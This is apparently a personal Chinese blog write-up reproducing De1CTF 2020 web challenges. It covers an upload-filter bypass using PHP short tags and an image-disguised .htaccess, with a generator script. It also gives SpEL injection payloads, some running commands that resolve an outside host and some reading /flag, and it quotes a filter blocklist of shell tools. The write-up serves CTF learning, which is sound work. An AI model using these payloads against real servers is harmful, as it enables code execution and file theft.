Life has its own fate, and meeting may not be accidental.

0%

De1CTF(复现) web

我是笨比,当时两题思路都对!一次没成功就跑出去玩了。。。不过复现学到了好多新知识哈哈哈哈。

check in

考点: CGI(我好像是用正常htaccess改后缀做的) PHP短标签

upload

满足两个条件:

  • 首先不能包含【perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet】这些内容
  • 然后还要MIME是image类型才行

ph的限制的话用短标签来绕过。

1
短标签记得在php.ini里面把short_open_tag=on
2
我记得是默认开启的
3
简单描述:
4
    <?= "hello!" ?>
5
    等价于
6
    <?php echo "hello!" ?>
7
8
    所以可以构造<?=system('cat /flag') 来得到flag
9
    然后利用.htaccess文件把jpg文件解析成php文件
10
    .htaccess里面的php利用`\`加换行符绕过。('\':连接当前行与下一行字符)
11
    我的理解:斜杠应该是转义(以前没遇到过,如果我说错了希望能纠正我一下,下次就不会错了。。)

生成两个文件的快捷脚本= =

1
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
2
3
4
def generate_php_file(filename, script):
5
    phpfile = open(filename, 'wb')
6
7
    phpfile.write(script.encode('utf-16be'))
8
    phpfile.write(SIZE_HEADER)
9
10
    phpfile.close()
11
12
13
def generate_htacess():
14
    htaccess = open('.htaccess', 'wb')
15
16
    htaccess.write(SIZE_HEADER)
17
    htaccess.write(b'AddType application/x-httpd-php .jpg\n')   ##反斜杠和换行自己手动加吧。
18
19
    htaccess.close()
20
21
22
generate_htacess()
23
24
generate_php_file("shell.jpg", "<?=system('cat /flag');")

calc

考点: spel注入(以前用过这个类,或者他已经被包含进去了。看了好多博文,自己手动试了下,终于知道了。。)

这题用的是spring boot的框架,应该算是我最熟悉的框架了。不过我是第一次知道Scanner还有BufferedReader,两个类不仅可以读字符还可以读文件。学到了!~

前端是VUE的通过前端计算发送的请求,找到springboot写的接口。
springbootAPI

那别的Payload会发现他过滤了Runtime,java.lang,getClass,T(,new等字符。(一旦满足过滤就返回Hacker!)
可的类
收录下一个师傅收集的常用payload:

1
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
2
T(Thread).sleep(10000)
3
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
4
new java.lang.ProcessBuilder({'nslookup a.com'}).start()

Scanner的payload

利用Scanner获取,file函数读取/flag里面的内容

1
New java.util.Scanner(New java.io.File("/flag")).next()
2
next()读到空格结束
3
nextLine()读到回车结束

BuffereReader的payload

利用BufferedReader获取FileReader读取/flag里面的内容

1
New java.io.BufferedReader(New java.io.FileReader("/flag")).readLine()
2
read()只读取一个字符
3
readLine()读取

这题正好查阅了很多资料。以前上课走神,没理解的一些东西,正好弄懂了~
BufferedReader和FileReader的关系图,不知道哪里盗过来的,看太多了。。
还有个问题困扰在我心里,为什么BufferedReader不能搭配File用,但是Scanner可以。查了好多资料都没找到原因(难道是抽象类的原因么。)

Hard_Pentest_1

无字母数字webshell之提高篇
一些不包含数字和字母的webshell

源码

1
<?php
2
//Clear the uploads directory every hour
3
highlight_file(__FILE__);
4
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
5
@mkdir($sandbox);
6
@chdir($sandbox);
7
8
if($_POST["submit"]){
9
    if (($_FILES["file"]["size"] < 2048) && Check()){
10
        if ($_FILES["file"]["error"] > 0){
11
            die($_FILES["file"]["error"]);
12
        }
13
        else{
14
            $filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
15
            move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
16
            echo "save in:" . $sandbox."/" . $filename;
17
        }
18
    }
19
    else{
20
        echo "Not Allow!";
21
    }
22
}
23
24
function Check(){               //过滤
25
    $BlackExts = array("php");
26
    $ext = explode(".", $_FILES["file"]["name"]);
27
    $exts = trim(end($ext));
28
    $file_content = file_get_contents($_FILES["file"]["tmp_name"]);
29
30
    if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content)  && 
31
        !in_array($exts, $BlackExts) && 
32
        !preg_match('/\.\./',$_FILES["file"]["name"])) {
33
          return true;
34
    }
35
    return false;
36
}
37
?>

参考

MIME类型
PHP短标签
spel注入
关于BufferedReader 和FileReader
Scanner读取与处理
无字母数字webshell之提高篇
一些不包含数字和字母的webshell